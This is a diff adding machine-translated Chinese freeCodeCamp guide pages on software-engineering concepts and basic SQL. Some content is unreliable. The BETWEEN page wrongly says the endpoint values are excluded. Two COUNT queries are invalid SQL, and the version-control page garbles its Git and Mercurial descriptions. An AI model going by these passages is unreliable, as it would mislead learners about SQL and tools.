@@ -0,0 +1,35 @@
+---
+title: Orthogonality
+localeTitle: 正交
+---
+## 正交
+
+在软件工程中，如果更改其中一个组件仅更改该组件的状态，则认为系统是正交的。例如，考虑一个包含三个变量的程序：a，b和c。更改a的值不应更改b或c的值，前提是它们是独立的。此属性在调试程序时尤其重要，因为它依赖于缩小程序的移动部分的数量以识别问题的根本原因。
+
+请参阅Eric S. Raymond的“UNIX编程艺术”中的以下引用。
+
+> 正交性是最重要的特性之一，可以帮助使复杂的设计紧凑。在纯粹的正交设计中，操作没有副作用;每个动作（无论是API调用，宏调用还是语言操作）只改变一件事而不影响其他动作。有一种方法可以改变您控制的任何系统的每个属性。
+
+正交性是一种软件设计原则，用于以改变一个组件不影响其他组件的方式编写组件。它是两个其他原则的结合，即强大的内聚力和松耦合。
+
+正交性是从数学中借用的术语。例如，如果它们是垂直的，则两条线是正交的。在软件设计中，如果一个中的变化不影响另一个，则两个分量是正交的。
+
+将此概念应用于类或代码的其他部分会导致较少的耦合。要正交两个类不能依赖于彼此的实现。他们也无法共享全球数据。更改一个类的内部结构不会影响另一个类。组件应该是独立的，只有一个责任。
+
+考虑一种从文件中读取数字列表并按排序顺序返回的方法。现在需求发生变化，数字也在数据库中。修改此方法以访问数据库将导致客户端代码更改。如果这是两种不同的方法，那么新的源不会影响排序方法。只有客户端代码才必须知道数字的来源。
+
+### 强大的凝聚力
+
+在软件组件内部，代码应该是强连接的。这表明代码被正确划分。如果组件具有两个或更多相对断开的部件，则可能表明这些部件应该在不同的组件中，或者在它自己的组件上。
+
+### 松耦合
+
+在软件组件之间，连接应该很少。如果两个组件是强耦合的，则可能表明它们需要是一个组件，或者它们需要被不同地分成更多组件。
+
+#### 更多信息：
+
+*   [正交性（编程）|维基百科](https://en.wikipedia.org/wiki/Orthogonality_(programming))
+*   [正交面向对象编程原理| jasoncoffin.com](http://www.jasoncoffin.com/cohesion-and-coupling-principles-of-orthogonal-object-oriented-programming/)
+*   [GRASP - 面向对象的设计原则|维基百科](https://en.wikipedia.org/wiki/GRASP_(object-oriented_design)
+
+Stack Overflow：什么是Orthogonality？ https://stackoverflow.com/questions/1527393/what-is-orthogonality
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/quality-assurance/index.md b/client/src/guide/chinese/software-engineering/quality-assurance/index.md
new file mode 100644
index 0000000000..5456b28a07
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/quality-assurance/index.md
@@ -0,0 +1,81 @@
+---
+title: Quality Assurance
+localeTitle: 质量保证
+---
+## 质量保证
+
+质量保证（通常称为QA）是检查开发中的产品以确保其按预期工作的方法。质量保证过程中使用的实际方法根据产品的大小和性质而有很大差异。
+
+对于个人项目，您可能只是在进行测试，要求其他人在适当的阶段提供反馈。相比之下，银行应用程序必须对每个功能的各个方面进行详尽检查和记录，以确保其功能性和安全性。
+
+无论质量保证流程的正式或详细程度如何，其目的都是识别错误，以便在产品发布之前解决。
+
+### 方法
+
+#### 敏捷
+
+在敏捷的开发方法中，目标是每个工作周期（'sprint'）生成可以迭代添加和改进的工作软件。这使得QA流程成为开发周期的固有部分。通过在生产的每个阶段测试软件组件，可以降低发布时出现错误的风险。
+
+### 术语
+
+#### 自动化测试
+
+使用预先编写的脚本完成测试，旨在控制测试的执行。
+
+#### 黑盒子
+
+这些测试不会在被测系统中查看，而是以与最终用户体验相同的方式将其视为“关闭”。
+
+#### 缺陷
+
+任何偏离应用程序的规范;通常被称为“虫子”。
+
+#### 探索性测试
+
+一种没有脚本的测试方法，它依赖于测试人员的独特创造力，以发现未知错误并识别回归。
+
+#### 集成测试
+
+一起测试各个组件/模块，以确保它们彼此连接和互动。
+
+#### 负路径测试
+
+一种测试方案，旨在在功能/应用程序中生成错误状态，并验证错误是否得到妥善处理。例如，在用户注册表单的电子邮件字段中输入一系列数字，并检查以确保在提供实际电子邮件地址之前不接受注册。
+
+#### 回归测试
+
+在新构建上完成测试，以确保新功能不会无意中破坏以前测试过的功能。
+
+#### 烟雾测试
+
+在进行更深入的测试之前，一种旨在确保基本功能的简约测试方法正在发挥作用。通常发生在测试过程的开始阶段。
+
+#### 测试用例
+
+QA测试人员/工程师提供的指定前提条件，步骤和预期结果，用于确定某个功能是否按预期执行其任务。
+
+#### 白盒子
+
+指在代码库内的结构级别执行的测试。程序员检查特定功能或组件的输入和输出是否为白盒测试。
+
+也被称为'玻璃盒'，'透明盒'，'透明盒'，因为测试仪可以“看到”被测系统。
+
+主要类别是
+
+*   **单元测试** （单个代码单元做他们应该做的）
+*   **集成测试** （单元/组件相互交互）
+*   **回归测试** （在开发的后期重新应用测试以确保它们仍然有效）
+
+有三种主要技术：
+
+*   **等价划分** （测试的输入值代表较大的输入数据集）
+*   **边界值分析** （系统使用选择的输入进行测试，其中行为和输出应该改变）
+*   **因果图形** （测试是根据输入 - 输出关系的可视化设计的）
+
+### 其他资源
+
+[测试驱动开发（freeCodeCamp指南）](https://guide.freecodecamp.org/agile/test-driven-development)
+
+# [单元测试（freeCodeCamp指南）](https://guide.freecodecamp.org/software-engineering/unit-tests/)
+
+[软件测试基础](http://softwaretestingfundamentals.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/scalability-cube/index.md b/client/src/guide/chinese/software-engineering/scalability-cube/index.md
new file mode 100644
index 0000000000..db99c1c5a0
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/scalability-cube/index.md
@@ -0,0 +1,11 @@
+---
+title: Scalability Cube
+localeTitle: 可扩展性多维数据集
+---
+## 可扩展性多维数据集
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/software-engineering/scalability-cube/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/tco-tail-call-optimization/index.md b/client/src/guide/chinese/software-engineering/tco-tail-call-optimization/index.md
new file mode 100644
index 0000000000..6acf45f0d8
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/tco-tail-call-optimization/index.md
@@ -0,0 +1,70 @@
+---
+title: TCO Tail Call Optimization
+localeTitle: TCO尾调用优化
+---
+## 尾调用优化（TCO）
+
+尾调用优化（ **TCO** ）是递归时堆栈溢出问题的解决方案。
+
+### 问题
+
+每次调用函数都会被推送到计算机内存中的堆栈中。当函数完成时，它将从堆栈中弹出。在递归中，函数调用自身，以便继续添加到堆栈，直到所有这些函数完成。当然，这个堆栈有一个限制。当调用的函数太多时，会向堆栈添加太多的调用。当堆栈已满并且调用了函数时，这会导致**堆栈溢出，**因为堆栈已满。递归函数将无法完成并将导致错误。
+
+#### 例
+
+以下是使用**不带** TCO的递归的JavaScript阶乘函数的示例：
+
+```javascript
+  function fact(x) { 
+    if (x <= 1) { 
+      return 1; 
+    } else { 
+      return x * fact(x-1); 
+    } 
+  } 
+ 
+  console.log(fact(10)); // 3628800 
+  console.log(fact(10000)); // RangeError: Maximum call stack size exceeded 
+```
+
+请注意，使用参数10000运行`fact`将导致**堆栈溢出** 。
+
+### 使用TCO解决问题
+
+要使用Tail Call Optimization来解决这个问题，函数调用自身的语句应该处于尾部位置。尾部位置是要在函数中执行的最后一个语句。因此，函数对自身的调用应该是在函数结束之前调用的最后一件事。
+
+在前面的示例中，乘法运算在`return x * fact(x-1)`语句中最后执行，因此它不是函数的最终操作。因此，它不是尾调用优化的。为了使尾部调用优化，您需要调用自身函数的最后一个操作。
+
+#### 例
+
+下面是使用递归**与** TCO一个JavaScript（ES5）阶乘函数的一个例子。
+
+```javascript
+  function fact(n) { 
+      return factTCO(n, 1); 
+  } 
+ 
+  function factTCO(x, acc) { 
+      if (x <= 1) { 
+          return acc; 
+      } else { 
+          return factTCO(x-1, x*acc); 
+      } 
+  } 
+ 
+  console.log(fact(10)); // 3628800 
+  console.log(fact(10000)); // Infinity - Number too large, but unlike the unoptimized factorial, this does not result in stack overflow. 
+```
+
+请注意，运行`fact` _在支持ES6_因为调用_浏览器中运行_时，在10000这个时间**不会导致堆栈溢出** `factTCO`是函数的最后一个操作。
+
+### 为什么会这样
+
+当编译器或解释器注意到自调用是函数的最后一个操作时，它会弹出当前函数并将自调用推送到堆栈。这样，堆栈的大小不会改变。因此，堆栈不会因功能而溢出。
+
+### 笔记
+
+#### 更多信息：
+
+*   [什么是尾部调用optmization？](https://stackoverflow.com/questions/310974/what-is-tail-call-optimization) （堆栈溢出）
+*   [ECMAScript 6中的尾调优化](http://2ality.com/2015/06/tail-call-optimization.html) （2ality - Axel Rauschmayer博士的博客）
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/unit-tests/index.md b/client/src/guide/chinese/software-engineering/unit-tests/index.md
new file mode 100644
index 0000000000..20361ba2a3
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/unit-tests/index.md
@@ -0,0 +1,51 @@
+---
+title: Unit Tests
+localeTitle: 单元测试
+---
+## 单元测试
+
+单元测试是一种测试，位于软件测试金字塔的底部。 它涉及将代码库分解为更小的部分（或单元）并单独测试它们。 根据编程语言（或范例）的类型，这些可以针对您定义为单元的任何内容，尽管最常见的做法是针对功能。
+
+### 为什么这样？
+
+*   **保护** - 单元测试可防止为防御性编程引入新旧漏洞
+*   **信心** - 您可以添加更改，或重用或重构代码（两者都很常见），并确保您没有添加错误
+*   **文档** - 单元测试记录了代码的行为和流程，因此对于熟悉代码的人来说很容易理解
+*   **隔离** - 它将模块与整个功能**隔离**开来。这种方法迫使你自己想一个模块，并问它的工作是什么？
+*   **质量** - 由于单元测试迫使您考虑并使用自己的API，因此它强制实施良好/可扩展的接口和模式。它可以指出应该解决的任何紧密耦合或过度复杂。糟糕的代码通常难以测试
+*   **行业标准** - 现在，单元测试是一门普遍的学科，并且是大部分软件公司的要求
+*   **更少的错误** - 大量研究表明，对应用程序进行测试可以将生产错误密度降低40％-80％。
+
+### 示例（在Javascript中）
+
+假设有一个函数写在**add.js**文件中
+
+```javascript
+var add = function(number1, number2){ 
+  return number1 + number2; 
+ } 
+```
+
+现在，为了编写这个特定函数的单元测试，我们可以使用像[mocha](http://mochajs.org/)这样的测试工具
+
+```javascript
+const mocha = require('mocha') 
+ const chai = require('chai')  // It is an assertion library 
+ describe('Test to check add function', function(){ 
+  it('should add two numbers', function(){ 
+    (add(2,3)).should.equal(5)  //Checking that 2+3 should equal 5 using the given add function 
+  }); 
+ }); 
+```
+
+### 测试驱动开发
+
+单元测试是测试驱动开发（TDD）软件开发方法的关键特性。在这种方法中，通过重复使用非常短的周期来编写特定特征或功能的代码。首先，开发人员编写一组自动化单元测试并确保它们最初失败。接下来，开发人员实现传递测试用例所需的最少量代码。一旦验证代码的行为符合预期，开发人员就会返回并重构代码以遵守任何相关的编码标准。
+
+### 更多信息
+
+Martin Fowler关于单元测试： [martinfowler.com](https://www.martinfowler.com/bliki/UnitTest.html)
+
+罗伯特·马丁又名“鲍勃博士”，关于TDD： [butunclebob.com](http://www.butunclebob.com/ArticleS.UncleBob.TheThreeRulesOfTdd)
+
+Eric Elliot关于单元测试和TDD： [中等](https://medium.com/javascript-scene/5-common-misconceptions-about-tdd-unit-tests-863d5beb3ce9)
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/version-control-system/index.md b/client/src/guide/chinese/software-engineering/version-control-system/index.md
new file mode 100644
index 0000000000..e5890812ec
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/version-control-system/index.md
@@ -0,0 +1,47 @@
+---
+title: Version Control System
+localeTitle: 版本控制系统
+---
+## 版本控制系统
+
+版本控制系统（VCS），也称为源代码管理（SCM），是用于跟踪文件更改，管理版本和简化协作文件编辑的工具。 主要有两种类型的VCS：
+
+*   集中版本控制系统 中央存储库具有权威性。关联体系结构是客户端/服务器。 第一个VCS（CVS，SVN ......）是集中版本控制系统。
+*   分布式版本控制系统 多个存储库交换修改。关联体系结构主要是点对点，但可以将一个repo声明为权威。 最常用的现代VCS（Git，Mercurial ......）是分布式版本控制系统。
+
+### 为什么要用它？
+
+*   **更改历史记录** - VCS使用户能够浏览和搜索使用有用信息（日期，作者...）自动记录的所有更改
+*   **版本/标签** - 用户可以搜索/检索已标记有标签和版本名称的文件的特定状态
+*   **分支/合并** - 分布式版本控制系统可以轻松维护文件的并行分支，并在需要时部分或完全合并它们。
+*   **原子操作** - 所有现代VCS都提供原子操作：所有修改都保证成功或失败，确保文件始终处于一致状态。
+
+### 最流行的版本控制系统
+
+*   混帐
+
+_Git_是一个分布式版本控制系统，可能是目前_Mercurial_使用最多的VCS。
+
+*   水银
+
+_Mercurial_是一个分布式版本控制系统，可能是目前_Git_使用最多的VCS。
+
+*   CVS
+
+_CVS_是一个古老的SCM，在_SVN_普及之前是卓越的。 _CVS_和_SVN_现在已被弃用，转而使用分布式版本控制系统，如_Git_和_Mercurial_ 。
+
+*   SVN /颠覆
+
+_SVM_是继_CVS之后_的旧SCM。 最终， _SVN_因广泛采用分布式版本控制系统（如_Git_和_Mercurial）而_被弃用
+
+### 更多信息：
+
+[CVS](http://savannah.nongnu.org/projects/cvs)
+
+[混帐](https://git-scm.com/)
+
+[水银](https://www.mercurial-scm.org/)
+
+[SVN](http://subversion.tigris.org/)
+
+[维基百科上的版本控制](https://en.wikipedia.org/wiki/Version_control)
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/index.md b/client/src/guide/chinese/sql/index.md
new file mode 100644
index 0000000000..d4700afa07
--- /dev/null
+++ b/client/src/guide/chinese/sql/index.md
@@ -0,0 +1,9 @@
+---
+title: SQL
+localeTitle: SQL
+---
+## SQL
+
+SQL代表结构化查询语言。它是用于操纵和管理关系数据库（通常称为“SQL数据库”）中的数据的最常用工具。
+
+SQL通常发音为“续集”。它最流行的变种是MySQL，PostgreSQL和SQLite - 一种常用于原型设计的SQL版本。它使用SQL查询引入了使用单个命令访问许多记录的概念。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-aliases/index.md b/client/src/guide/chinese/sql/sql-aliases/index.md
new file mode 100644
index 0000000000..550fa0aea4
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-aliases/index.md
@@ -0,0 +1,58 @@
+---
+title: SQL Aliases
+localeTitle: SQL别名
+---
+## SQL别名
+
+## 使用AS分配有意义或更简单的名称
+
+您可以使用AS为您选择的数据列或已计算的数据分配名称。
+
+```sql
+SELECT user_only_num1 AS AgeOfServer, (user_only_num1 - warranty_period) AS NonWarrantyPeriod FROM server_table 
+```
+
+这导致输出如下。
+
+```text
++-------------+------------------------+ 
+ | AgeOfServer | NonWarrantyPeriod      | 
+ +-------------+------------------------+ 
+ |         36  |                     24 | 
+ |         24  |                     12 | 
+ |         61  |                     49 | 
+ |         12  |                      0 | 
+ |          6  |                     -6 | 
+ |          0  |                    -12 | 
+ |         36  |                     24 | 
+ |         36  |                     24 | 
+ |         24  |                     12 | 
+ +-------------+------------------------+ 
+```
+
+您还可以使用AS为表分配名称，以便在连接中更容易引用。
+
+```sql
+SELECT ord.product, ord.ord_number, ord.price, cust.cust_name, cust.cust_number FROM customer_table AS cust 
+ 
+ JOIN order_table AS ord ON cust.cust_number = ord.cust_number 
+```
+
+这导致输出如下。
+
+```text
++-------------+------------+-----------+-----------------+--------------+ 
+ | product     | ord_number | price     | cust_name       | cust_number  | 
+ +-------------+------------+-----------+-----------------+--------------+ 
+ |     RAM     |   12345    |       124 | John Smith      |  20          | 
+ |     CPU     |   12346    |       212 | Mia X           |  22          | 
+ |     USB     |   12347    |        49 | Elise Beth      |  21          | 
+ |     Cable   |   12348    |         0 | Paul Fort       |  19          | 
+ |     Mouse   |   12349    |        66 | Nats Back       |  15          | 
+ |     Laptop  |   12350    |       612 | Mel S           |  36          | 
+ |     Keyboard|   12351    |        24 | George Z        |  95          | 
+ |     Keyboard|   12352    |        24 | Ally B          |  55          | 
+ |     Air     |   12353    |        12 | Maria Trust     |  11          | 
+ +-------------+------------+-----------+-----------------+--------------+ 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-alter-table-statement/index.md b/client/src/guide/chinese/sql/sql-alter-table-statement/index.md
new file mode 100644
index 0000000000..4e81c83c90
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-alter-table-statement/index.md
@@ -0,0 +1,40 @@
+---
+title: SQL Alter Table Statement
+localeTitle: SQL Alter Table语句
+---
+## SQL指南 - ALTER TABLE
+
+## 介绍
+
+本指南将向您介绍并尝试解释关系数据库中SQL alter table函数的一些基础知识。 **重要安全提示：在进行更改之前，务必备份数据！**
+
+我们将在这个freeCodeCamp SQL指南中使用MySQL作为所有示例。选择MySQL的原因是1）它在后端数据库的网站上非常常用，2）它是免费的，而且有趣且易于使用。
+
+## 本指南涵盖的内容
+
+我们将使用“CREATE TABLE”指南中创建的表。如果您不熟悉创建表格，请随时查看该指南。
+
+*   更改创建的表将以几种不同的方式改变它。
+*   我们将更改其名称并修改列
+*   添加列（添加列时，我们还将查看几个最重要的列类型及其用途）。
+*   删除列（意味着删除列）。
+*   通过导入CSV文件并更改该表来创建表。
+*   使用MySQL工作台工具创建和修改表。
+
+其中大部分内容将使用MySQL工作台脚本工具中的SQL语句完成，但我们还将介绍如何使用工作台界面而不是SQL语句更改表。
+
+## 变更前的表格：
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table01a.JPG?raw=true)
+
+添加日期和电子邮件地址列（日期和字符列）： ![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table01.JPG?raw=true)
+
+添加数字列（请注意，它已添加到表中的特定位置）： ![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table02.JPG?raw=true)
+
+重命名一些列： ![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table03.JPG?raw=true)
+
+删除列： ![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table04.JPG?raw=true)
+
+您还可以使用alter table workbench工具。只需右键单击要更改的表格，然后根据需要进行更改。 ![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/alter_table05.JPG?raw=true)
+
+还有更多工作要做，请查看数据库管理软件的手册以了解更多信息。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-and-operator/index.md b/client/src/guide/chinese/sql/sql-and-operator/index.md
new file mode 100644
index 0000000000..9ae1ae24ab
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-and-operator/index.md
@@ -0,0 +1,48 @@
+---
+title: SQL and Operator
+localeTitle: SQL和运算符
+---
+## SQL AND运算符
+
+AND在WHERE子句或GROUP BY HAVING子句中用于限制从执行语句返回的行。当需要满足多个条件时使用AND。
+
+我们将使用student表来展示示例。
+
+这是没有WHERE子句的student表：
+
+```sql
+select * from student; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator01.JPG?raw=true)
+
+现在添加了WHERE子句以仅显示编程学生：
+
+```sql
+select * from student 
+ where programOfStudy = 'Programming'; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator02.JPG?raw=true)
+
+现在，使用AND更新WHERE子句，以显示SAT分数大于800的编程学生的结果：
+
+```sql
+select * from student 
+ where programOfStudy = 'Programming' 
+ and sat_score > 800; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator03.JPG?raw=true)
+
+这是广告系列投稿表中更复杂的示例。此示例具有带有HAVING子句的GROUP BY子句，该子句使用AND将返回的记录限制为2016年的奖金，总额为300万美元到1800万美元。
+
+```sql
+select Candidate, Office_Sought, Election_Year, FORMAT(sum(Total_$),2) from combined_party_data 
+ where Office_Sought = 'PRESIDENT / VICE PRESIDENT' 
+ group by Candidate, Office_Sought, Election_Year 
+ having Election_Year = 2016 and sum(Total_$) between 3000000 and 18000000 
+ order by sum(Total_$) desc; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/and_operator06.JPG?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-avg-function/index.md b/client/src/guide/chinese/sql/sql-avg-function/index.md
new file mode 100644
index 0000000000..1e4b39de9e
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-avg-function/index.md
@@ -0,0 +1,25 @@
+---
+title: SQL Avg Function
+localeTitle: SQL平均功能
+---
+## SQL平均（AVG）功能
+
+“Average”是Aggregate（Group By）函数。它用于计算SQL语句返回的行集中的数字列的平均值。
+
+以下是使用该函数的语法：
+
+```sql
+select groupingField, avg(num_field) 
+ from table1 
+ group by groupingField 
+```
+
+以下是使用学生表的示例：
+
+```sql
+select studentID, FullName, avg(sat_score) 
+ from student 
+ group by studentID, FullName; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/avg_function01.JPG?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-between-operator/index.md b/client/src/guide/chinese/sql/sql-between-operator/index.md
new file mode 100644
index 0000000000..d4085ee34b
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-between-operator/index.md
@@ -0,0 +1,49 @@
+---
+title: SQL Between Operator
+localeTitle: 运算符之间的SQL
+---
+## 运算符之间的SQL
+
+由于SQL查询优化器，BETWEEN运算符很有用。虽然BETWEEN在功能上与以下相同： x <= element <= y，SQL查询优化器将更快地识别此命令，并具有用于运行它的优化代码。
+
+此运算符用于WHERE子句或GROUP BY HAVING子句中。
+
+选择的行的值大于最小值且小于最大值。
+
+请务必记住，命令中输入的值将从结果中**排除** 。我们得到它们之间的东西。
+
+以下是在WHERE子句中使用该函数的语法：
+
+```sql
+select field1, testField 
+ from table1 
+ where testField between min and max 
+```
+
+以下是使用student表和WHERE子句的示例：
+
+```sql
+-- no WHERE clause 
+ select studentID, FullName, studentID 
+ from student; 
+ 
+ -- WHERE clause with between 
+ select studentID, FullName, studentID 
+ from student 
+ where studentID between 2 and 7; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/between01.JPG?raw=true)
+
+以下是使用广告系列基金表和having子句的示例。 这将返回行，其中候选人的捐款总额在300万美元到1800万美元之间，基于声明的GROUP BY部分中的HAVING子句。更多关于该指南中的汇总。
+
+```sql
+select Candidate, Office_Sought, Election_Year, format(sum(Total_$),2) 
+ from combined_party_data 
+ where Election_Year = 2016 
+ group by Candidate, Office_Sought, Election_Year 
+ having sum(Total_$) between 3000000 and 18000000 
+ order by sum(Total_$) desc; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/between02.JPG?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-check-constraint/index.md b/client/src/guide/chinese/sql/sql-check-constraint/index.md
new file mode 100644
index 0000000000..76ab7a1bcb
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-check-constraint/index.md
@@ -0,0 +1,90 @@
+---
+title: SQL CHECK Constraint
+localeTitle: SQL CHECK约束
+---
+CHECK约束用于限制可以放在列中的值范围。
+
+如果在单个列上定义CHECK约束，则它仅允许此列的某些值。
+
+如果在表上定义CHECK约束，它可以根据行中其他列中的值限制某些列中的值。
+
+### SQL CHECK CREATE TABLE
+
+创建“Persons”表时，以下SQL在“Age”列上创建CHECK约束。 CHECK约束确保您不能拥有18岁以下的任何人：
+
+**MySQL的：**
+
+```sql
+CREATE TABLE Persons ( 
+    ID int NOT NULL, 
+    LastName varchar(255) NOT NULL, 
+    FirstName varchar(255), 
+    Age int, 
+    CHECK (Age>=18) 
+ ); 
+```
+
+**SQL Server / Oracle / MS Access：**
+
+```sql
+CREATE TABLE Persons ( 
+    ID int NOT NULL, 
+    LastName varchar(255) NOT NULL, 
+    FirstName varchar(255), 
+    Age int CHECK (Age>=18) 
+ ); 
+```
+
+要允许命名CHECK约束，并在多列上定义CHECK约束，请使用以下SQL语法：
+
+**MySQL / SQL Server / Oracle / MS Access：**
+
+```sql
+CREATE TABLE Persons ( 
+    ID int NOT NULL, 
+    LastName varchar(255) NOT NULL, 
+    FirstName varchar(255), 
+    Age int, 
+    City varchar(255), 
+    CONSTRAINT CHK_Person CHECK (Age>=18 AND City='Sandnes') 
+ ); 
+```
+
+### SQL CHECK ALTER TABLE
+
+要在已创建表时在“Age”列上创建CHECK约束，请使用以下SQL：
+
+**MySQL / SQL Server / Oracle / MS Access：**
+
+```sql
+ALTER TABLE Persons 
+ ADD CHECK (Age>=18); 
+```
+
+要允许命名CHECK约束，并在多列上定义CHECK约束，请使用以下SQL语法：
+
+**MySQL / SQL Server / Oracle / MS Access：**
+
+```sql
+ALTER TABLE Persons 
+ ADD CONSTRAINT CHK_PersonAge CHECK (Age>=18 AND City='Sandnes'); 
+```
+
+### DROP一个CHECK约束
+
+要删除CHECK约束，请使用以下SQL：
+
+**SQL Server / Oracle / MS Access：**
+
+```sql
+ALTER TABLE Persons 
+ DROP CONSTRAINT CHK_PersonAge; 
+```
+
+**MySQL的：**
+
+```sql
+ALTER TABLE Persons 
+ DROP CHECK CHK_PersonAge; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-count-function/index.md b/client/src/guide/chinese/sql/sql-count-function/index.md
new file mode 100644
index 0000000000..e88923b240
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-count-function/index.md
@@ -0,0 +1,59 @@
+---
+title: SQL COUNT Aggregate Function
+localeTitle: SQL COUNT聚合函数
+---
+## SQL COUNT聚合函数
+
+COUNT运算符通常与GROUP BY子句结合使用。它是SQL“聚合”函数之一，包括AVG（平均值）和SUM。
+
+此函数将计算行数并将该计数作为结果集中的列返回。
+
+以下是您将使用COUNT的示例：
+
+*   计算表中的所有行（不需要按组）
+*   计算数据子集的总数（需要语句的Group By部分）
+
+作为参考，这是我们的示例学生数据库中所有行的当前数据。
+
+```sql
+select studentID, FullName, programOfStudy, sat_score from student; -- all records with fields of interest 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/count01.JPG?raw=true)
+
+此SQL语句提供所有行的计数。请注意，您可以使用“AS”为生成的COUNT列指定名称。
+
+```sql
+select count(*) AS studentCount from student; -- count of all records 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/count02.JPG?raw=true)
+
+在这里，我们得到每个学习领域的学生数量。
+
+```sql
+ select studentID, FullName, count(*) AS studentCount from the student table with a group by programOfStudy; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/count03.JPG?raw=true)
+
+在这里，我们得到具有相同SAT分数的学生数。
+
+```sql
+ select studentID, FullName, count(*) AS studentCount from the student table with a group by sat_score; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/count04.JPG?raw=true)
+
+以下是使用广告系列基金表的示例。这是2016年美国总统竞选期间每笔交易的美元总额和每个政党的捐款数量。
+
+```sql
+select Specific_Party, Election_Year, format(sum(Total_$),2) AS contribution$Total, count(*) AS numberOfContributions 
+ from combined_party_data 
+ group by Specific_Party,Election_Year 
+ having Election_Year = 2016; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/count05.JPG?raw=true)
+
+与所有这些事情一样，还有更多内容，所以请查看数据库管理员的手册，并自己尝试不同的测试。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-create-index-statement/index.md b/client/src/guide/chinese/sql/sql-create-index-statement/index.md
new file mode 100644
index 0000000000..3506f0bf2c
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-create-index-statement/index.md
@@ -0,0 +1,38 @@
+---
+title: SQL CREATE INDEX Statement
+localeTitle: SQL CREATE INDEX语句
+---
+## SQL CREATE INDEX语句
+
+此语句用于在现有表的列上创建“索引”。
+
+索引要点：
+
+*   它们用于提高搜索数据的效率，在连接表时以特定顺序显示数据（请参阅“JOIN”指南）等。
+*   索引是“系统”对象，这意味着它由数据库管理器使用。
+*   部分用法是数据库管理器在索引使用的数据在相关表中更改时更新索引。请记住这一点，因为随着数据库中索引数量的增加，整体系统性能可能会受到影响。
+*   如果您发现某个表或某些表上的SQL运行缓慢，则首先要考虑创建索引来纠正该问题。
+
+以下是Create Index Statement的语法示例。请注意，语法允许索引超过一列。
+
+```sql
+CREATE INDEX index_name 
+ ON table_name (column1, column2, ...); 
+```
+
+在student表的字段上创建一个新索引，programOfStudy。 作为参考，这是学生表的当前定义。
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/create-index-statement01.JPG?raw=true)
+
+这是创建索引的语句，以及更新的表定义的屏幕截图：
+
+```sql
+create index pStudyIndex 
+ on student (programOfStudy); 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/create-index-statement02.JPG?raw=true)
+
+在MySQL中，您使用ALTER TABLE命令来更改和删除索引。 MySQL Workbench还提供GUI工具来管理索引。
+
+与所有这些事情一样，还有更多内容，所以请查看数据库管理员的手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-create-index/index.md b/client/src/guide/chinese/sql/sql-create-index/index.md
new file mode 100644
index 0000000000..8e5a91f376
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-create-index/index.md
@@ -0,0 +1,74 @@
+---
+title: SQL CREATE INDEX Statement
+localeTitle: SQL CREATE INDEX语句
+---
+CREATE INDEX语句用于在表中创建索引。
+
+索引用于非常快速地从数据库中检索数据。用户无法看到索引，它们只是用于加速搜索/查询。
+
+> **注意：**使用索引更新表比没有表更新表需要更多时间（因为索引也需要更新）。因此，只在经常搜索的列上创建索引。
+
+#### CREATE INDEX语法
+
+在表上创建索引。允许重复的值：
+
+```sql
+CREATE INDEX index_name 
+ ON table_name (column1, column2, ...); 
+```
+
+#### CREATE UNIQUE INDEX语法
+
+在表上创建唯一索引。不允许重复值：
+
+```sql
+CREATE UNIQUE INDEX index_name 
+ ON table_name (column1, column2, ...); 
+```
